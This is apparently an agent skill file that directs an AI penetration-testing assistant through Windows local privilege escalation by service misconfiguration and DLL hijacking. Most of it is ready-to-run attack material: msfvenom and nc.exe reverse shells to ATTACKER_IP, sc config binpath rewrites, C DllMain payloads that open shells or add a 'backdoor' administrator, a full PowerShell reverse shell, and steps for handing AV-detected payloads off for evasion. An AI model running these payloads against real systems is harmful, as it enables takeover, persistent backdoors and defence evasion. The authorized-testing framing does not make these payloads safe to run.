Exploit Windows service misconfigurations and DLL hijacking for local privilege escalation.
Install
npx skillscat add blacklanternsecurity/red-run/windows-service-dll-abuse Install via the SkillsCat registry.
Windows Service Misconfiguration & DLL Hijacking
You are helping a penetration tester escalate privileges on a Windows system by
exploiting service misconfigurations and DLL hijacking. All testing is under explicit
written authorization.
Engagement Logging
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
- Print
[windows-service-dll-abuse] Activated → <target>to the screen on activation. - Evidence → save significant output to
engagement/evidence/with
descriptive filenames (e.g.,sqli-users-dump.txt,ssrf-aws-creds.json).
Do NOT write to engagement/activity.md, engagement/findings.md, or
engagement state. The orchestrator maintains these files. Report all findings
in your return summary.
State Management
Call get_state_summary() from the state-reader MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Do NOT write engagement state. When your work is complete, report all
findings clearly in your return summary. The orchestrator parses your summary
and records state changes. Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Shell access on a Windows system
- Tools:
accesschk.exe(Sysinternals),sc.exe(built-in),icacls(built-in) - For DLL hijacking: ability to write files to target directories
- For DLL compilation:
mingwcross-compiler (on attacker machine)
Step 1: Enumerate Services
Get a full picture of the service landscape before checking for specific vulnerabilities.
List all services:
sc query state= all
wmic service list brief
net start
tasklist /SVCGet-Service | Select-Object Name, Status, StartType | Sort-Object StartType
Get-WmiObject Win32_Service | Select-Object Name, StartMode, PathName, StartName | Where-Object {$_.PathName -notlike "C:\Windows\System32\svchost*"} | Format-Table -AutoSizeNon-default services (most likely to be misconfigured):
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\"Service account context (what user does each service run as):
wmic service get name,startname,pathname | findstr /i /v "LocalSystem"Step 2: Unquoted Service Paths
When a service path contains spaces and isn't quoted, Windows tries intermediate
paths. For C:\Program Files\Some App\service.exe, Windows tries:
C:\Program.exeC:\Program Files\Some.exeC:\Program Files\Some App\service.exe
Enumerate unquoted paths:
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows" | findstr /i /v '\"'# PowerUp
Get-ServiceUnquoted -Verbose
# Manual
Get-WmiObject Win32_Service | Where-Object {$_.PathName -notlike '"*' -and $_.PathName -like '* *' -and $_.PathName -notlike 'C:\Windows\*'} | Select-Object Name, PathName, StartModeExploitation:
- Verify write access to one of the intermediate directories:
icacls "C:\Program Files\Some App\"
accesschk.exe -dqv "C:\Program Files\Some App\"- Place a binary at the hijacked path:
copy C:\temp\payload.exe "C:\Program Files\Some.exe"- Restart the service:
sc stop <service_name>
sc start <service_name>Or wait for system reboot if the service is set to auto-start.
Generate payload:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o payload.exeStep 3: Weak Service Permissions
If a service's ACL allows non-admin users to modify it, you can change the binary
path to execute arbitrary commands.
Enumerate modifiable services:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula
accesschk.exe -uwcqv "Everyone" * /accepteulaVulnerable permissions:
SERVICE_ALL_ACCESS— full controlSERVICE_CHANGE_CONFIG— can modify binpathWRITE_DAC— can modify service DACLWRITE_OWNER— can take ownership
Check specific service:
accesschk.exe -ucqv <service_name> /accepteula
sc qc <service_name>
sc sdshow <service_name>Exploitation — change service binary path:
sc stop <service_name>
sc config <service_name> binpath= "C:\temp\nc.exe -nv ATTACKER_IP 4444 -e C:\WINDOWS\System32\cmd.exe"
sc start <service_name>Alternative — add local admin user:
sc config <service_name> binpath= "net user backdoor P@ssw0rd123 /add"
sc start <service_name>
sc config <service_name> binpath= "net localgroup administrators backdoor /add"
sc start <service_name>PowerUp automated exploit:
Invoke-ServiceAbuse -Name <service_name> -Command "C:\temp\nc.exe ATTACKER_IP 4444 -e cmd.exe"Writable service binary (direct replacement):
icacls "C:\Program Files\VulnApp\service.exe"If (M) or (F) for your user/group, replace the binary directly:
move "C:\Program Files\VulnApp\service.exe" "C:\Program Files\VulnApp\service.exe.bak"
copy C:\temp\payload.exe "C:\Program Files\VulnApp\service.exe"
sc stop <service_name>
sc start <service_name>Service registry ACL abuse:
get-acl HKLM:\System\CurrentControlSet\services\<service_name> | Format-List *If writable, modify ImagePath directly:
reg add "HKLM\SYSTEM\CurrentControlSet\Services\<service_name>" /v ImagePath /t REG_EXPAND_SZ /d "C:\temp\payload.exe" /f
sc stop <service_name>
sc start <service_name>Step 4: Service Triggers
Some services can be started by low-privilege users via trigger events, even withoutSERVICE_START permission.
Enumerate triggers:
sc qtriggerinfo <service_name>Common trigger types and how to fire them:
Named Pipe trigger (connect to start service):
$pipe = New-Object System.IO.Pipes.NamedPipeClientStream('.', 'PipeNameFromTrigger', [System.IO.Pipes.PipeDirection]::InOut)
try { $pipe.Connect(1000) } catch {}
$pipe.Dispose()ETW trigger (e.g., WebClient service):
sc qtriggerinfo webclient
# Start WebClient by touching a WebDAV path
pushd \\attacker.com\share
popdRPC endpoint trigger:
rpcdump.py @127.0.0.1 -uuid <INTERFACE-UUID-FROM-TRIGGER>Group Policy trigger:
gpupdate /forceCombine with other vectors: If you can write a DLL to a service's search path
but can't start the service, fire its trigger to load your DLL.
Step 5: DLL Hijacking — Enumeration
DLL hijacking exploits the Windows DLL search order: when a process loads a DLL by
name (not absolute path), Windows searches directories in order.
DLL Search Order (SafeDllSearchMode enabled — default)
- Directory from which the application loaded
C:\Windows\System32C:\Windows\System(16-bit legacy)C:\Windows- Current working directory
- Directories in the
PATHenvironment variable
KnownDLLs (registered in HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs)
always load from System32 — cannot be hijacked.
Find Missing DLLs with Process Monitor
- Open Process Monitor (Procmon.exe)
- Add filters:
- Process Name → contains →
<target_process> - Result → is →
NAME NOT FOUND - Path → ends with →
.dll
- Process Name → contains →
- Start capture, trigger the target process
- Look for DLL load attempts with
NAME NOT FOUNDin writable directories
Find Writable PATH Directories
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )$env:PATH -split ';' | ForEach-Object { if(Test-Path $_) { $acl = (icacls $_ 2>$null); if($acl -match '(F|M|W)') { Write-Host "$_ : $acl" } } }PowerUp DLL Hijacking Checks
Find-PathDLLHijack
Find-ProcessDLLHijackCheck Application Import Table
dumpbin /imports "C:\path\to\application.exe"Look for DLLs not in System32 or KnownDLLs — these are candidates for hijacking.
Step 6: DLL Hijacking — Exploitation
Basic DLL Payload
// Compile: x86_64-w64-mingw32-gcc -shared -o hijack.dll payload.c
// For x86: i686-w64-mingw32-gcc -shared -o hijack.dll payload.c
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hDll, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
system("C:\\temp\\nc.exe ATTACKER_IP 4444 -e cmd.exe");
}
return TRUE;
}DLL with Local Admin Creation
// x86_64-w64-mingw32-gcc -shared -o hijack.dll payload.c
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hDll, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
system("cmd.exe /c net user backdoor P@ssw0rd123 /add && net localgroup administrators backdoor /add");
ExitProcess(0);
}
return TRUE;
}DLL with Thread (Non-Blocking)
// x86_64-w64-mingw32-gcc -shared -lws2_32 -o hijack.dll payload.c
#include <windows.h>
void Payload() {
system("C:\\temp\\nc.exe ATTACKER_IP 4444 -e cmd.exe");
}
BOOL WINAPI DllMain(HINSTANCE hDll, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)Payload, 0, 0, 0);
}
return TRUE;
}DLL via MSFVenom
# x64 reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f dll -o hijack.dll
# x86 reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f dll -o hijack.dll
# Add user
msfvenom -p windows/adduser USER=backdoor PASS=P@ssw0rd123 -f dll -o hijack.dllDLL Proxying (Transparent Hijack)
Forward legitimate exports to the real DLL while executing payload. Use when the
application validates DLL exports.
Tools:
- DLLirant — generates proxy DLL source from legitimate DLL
- Spartacus — automated DLL hijacking helper
Workflow:
- Identify target DLL loaded by privileged process
- Generate proxy source with DLLirant/Spartacus
- Add payload to
DllMainorDllRegisterServer - Compile proxy DLL
- Rename real DLL (e.g.,
legit.dll→legit_orig.dll) - Drop proxy as
legit.dll— it forwards calls tolegit_orig.dll
COM DLL Hijacking
COM objects load DLLs from paths registered in the registry (InprocServer32).
reg query "HKCU\Software\Classes\CLSID" /s /f "InprocServer32"If a COM object's InprocServer32 points to a missing or writable DLL path, replace
it with a malicious DLL. COM objects loaded by scheduled tasks or services run as
the task/service account.
Write to HKCU (no admin needed):
reg add "HKCU\Software\Classes\CLSID\{TARGET-CLSID}\InprocServer32" /ve /d "C:\temp\hijack.dll" /f
reg add "HKCU\Software\Classes\CLSID\{TARGET-CLSID}\InprocServer32" /v ThreadingModel /d "Both" /fWritable System PATH Directory
If you can write to a directory in the system PATH that's searched before the
legitimate DLL location:
# Check which PATH directories are writable
accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"Drop a DLL with the same name as one loaded by a SYSTEM process. The next time
the process loads the DLL, it will find yours first.
Exploitation Workflow
- Identify target (missing DLL or writable DLL directory for privileged process)
- Compile appropriate DLL payload (match architecture: x86 vs x64)
- Drop DLL to target location
- Trigger the DLL load:
- Restart the service:
sc stop <svc> && sc start <svc> - Fire service trigger (Step 4)
- Wait for scheduled task / system reboot
- Force GPUpdate:
gpupdate /force
- Restart the service:
- Verify escalation: check reverse shell or
net localgroup administrators
Step 7: Auto-Updater and IPC Abuse
Third-party software with local update mechanisms can be exploited for SYSTEM
code execution.
Common patterns:
- Localhost HTTP listeners (check
netstat -ano | findstr LISTENING) - Named pipes with weak ACLs
- IPC channels accepting commands from any local user
Enumeration:
netstat -ano | findstr LISTENING | findstr 127.0.0.1Look for non-standard ports. Research the application associated with each PID:
tasklist /FI "PID eq <pid>"Exploitation approach:
- Identify the IPC protocol (HTTP, named pipe, TCP socket)
- Research the application for known CVEs or command injection
- Test for origin validation bypass (e.g.,
Host: trusted.vendor.com.attacker.tld) - Forge enrollment/update commands to trigger malicious payload installation
Route to Deep Reference for specific vendor CVEs and IPC exploitation techniques.
Step 8: Escalate or Pivot
Reverse Shell via MCP
When service/DLL abuse achieves SYSTEM execution, catch the SYSTEM shell via
the MCP shell-server rather than relying on local admin user creation or
interactive console access. Service restarts and DLL loads execute in a
different session -- a reverse shell catches the SYSTEM callback directly.
- Call
start_listener(port=4444)to prepare a catcher on the attackbox - Use a reverse shell as the service binpath or DLL payload:
For DLL hijacking, compile the DLL with a reverse shell in:: Service binpath modification: sc config <service_name> binpath= "powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('ATTACKER',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"" :: Or via nc.exe in service binpath: sc config <service_name> binpath= "C:\temp\nc.exe ATTACKER PORT -e cmd.exe"DllMain
(see Step 6 payloads) pointing at the shell-server listener. - Call
stabilize_shell(session_id=...)to upgrade to interactive PTY - Verify the new privilege level with
send_command(session_id=..., command="whoami")
If the target lacks outbound connectivity, use the net user add-admin
approach and interact through an existing session, or use a bind shell DLL.
After achieving elevated access via service or DLL abuse:
- SYSTEM access achieved: Route to windows-credential-harvesting for credential
extraction, or credential-dumping if domain-joined - New service account (not SYSTEM): Check new account's privileges with
whoami /priv— may enable windows-token-impersonation - DLL hijack in user context: Use for persistence or lateral movement rather
than direct privilege escalation
When routing, pass along: hostname, access level achieved, exploitation method used,
OS version.
Update engagement/state.md with escalation results.
Stall Detection
If you have spent 5 or more tool-calling rounds on the same failure with
no meaningful progress — same error, no new information, no change in output
— stop.
What counts as progress:
- Trying a variant or alternative documented in this skill
- Adjusting syntax, flags, or parameters per the Troubleshooting section
- Gaining new diagnostic information (different error, partial success)
What does NOT count as progress:
- Writing custom exploit code not provided in this skill
- Inventing workarounds using techniques from other domains
- Retrying the same command with trivially different input
- Compiling or transferring tools not mentioned in this skill
If you find yourself writing code that isn't in this skill, you have left
methodology. That is a stall.
Do not loop. Work through failures systematically:
- Try each variant or alternative once
- Check the Troubleshooting section for known fixes
- If nothing works after 5 rounds, you are stalled
When stalled, return to the orchestrator immediately with:
- What was attempted (commands, variants, alternatives tried)
- What failed and why (error messages, empty responses, timeouts)
- Assessment: blocked (permanent — config, patched, missing prereq) or
retry-later (may work with different context, creds, or access)
When stalled: Tell the user you're stalled, present what was tried, and
recommend the next best path. Return findings to the orchestrator — it will
decide whether to revisit with new context or route elsewhere.
AV/EDR Detection
If a payload is caught by antivirus or EDR — do not retry with a different
msfvenom flag or trivial modification. That is not progress.
Recognition Signals (Service/DLL Abuse)
- DLL disappears after drop: Wrote DLL to writable directory but it's gone
seconds later — AV quarantined it - Service starts but payload doesn't execute:
sc startreturns
successfully, service is running, but no shell callback and no user created sc startreturns error 1066 or 1067: Service binary was caught and
neutralized — the service process terminated abnormally- Process starts then dies immediately: The service spawns the process but
AV/EDR kills it within 1-2 seconds - "Operation did not complete successfully because the file contains a virus":
Explicit AV detection on the payload file - DLL written via evil-winrm upload but gone on verification: Real-time
protection quarantined during or after transfer
What to Do
- Stop immediately — do not retry the same payload type
- Note what was caught: DLL or EXE, generation method (msfvenom, custom),
exact error or behavior - Return to orchestrator with structured AV-blocked context:
### AV/EDR Blocked
- Payload: <what was attempted> (e.g., "msfvenom x64 DLL reverse shell")
- Detection: <what happened> (e.g., "DLL quarantined within 2 seconds of write")
- AV product: <if known> (e.g., "Windows Defender")
- Technique: <what service/DLL exploit needs> (e.g., "DLL hijack for FakeService")
- Payload requirements: <what the exploit needs> (e.g., "x64 DLL with DllMain entry point")
- Target OS: <version>
- Current access: <user and method>The orchestrator will route to av-edr-evasion to build a bypass payload,
then re-invoke this skill with the AV-safe artifact.
Troubleshooting
"Access denied" when modifying service
Your user doesn't have SERVICE_CHANGE_CONFIG on this service. Check withaccesschk.exe -ucqv <service_name>. Try other services or different vectors.
Service won't restart after modification
Some services fail to start with modified binpath (wrong return code, crash).
Use binpath= "cmd.exe /c <payload>" or create a wrapper that executes the
payload then exits cleanly.
DLL architecture mismatch
32-bit process loads 32-bit DLLs, 64-bit loads 64-bit. Check with tasklist /v
or file <binary>. Compile with matching mingw:i686-w64-mingw32-gcc (x86) vs x86_64-w64-mingw32-gcc (x64).
DLL is in KnownDLLs — can't hijack
DLLs registered in HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
always load from System32. Target a different DLL loaded by the same process, or
use DLL side-loading (place signed EXE + malicious DLL in writable directory).
Process Monitor not available
Use PowerUp's Find-PathDLLHijack and Find-ProcessDLLHijack as alternatives.
Or check PATH directory permissions manually and cross-reference with service
binary imports (dumpbin /imports).
Service runs but payload doesn't execute
DLL's DllMain may not be reached if the application loads it via LoadLibraryEx
with LOAD_LIBRARY_AS_DATAFILE. In that case, the DLL must export a function
the application calls — use DLL proxying to ensure export compatibility.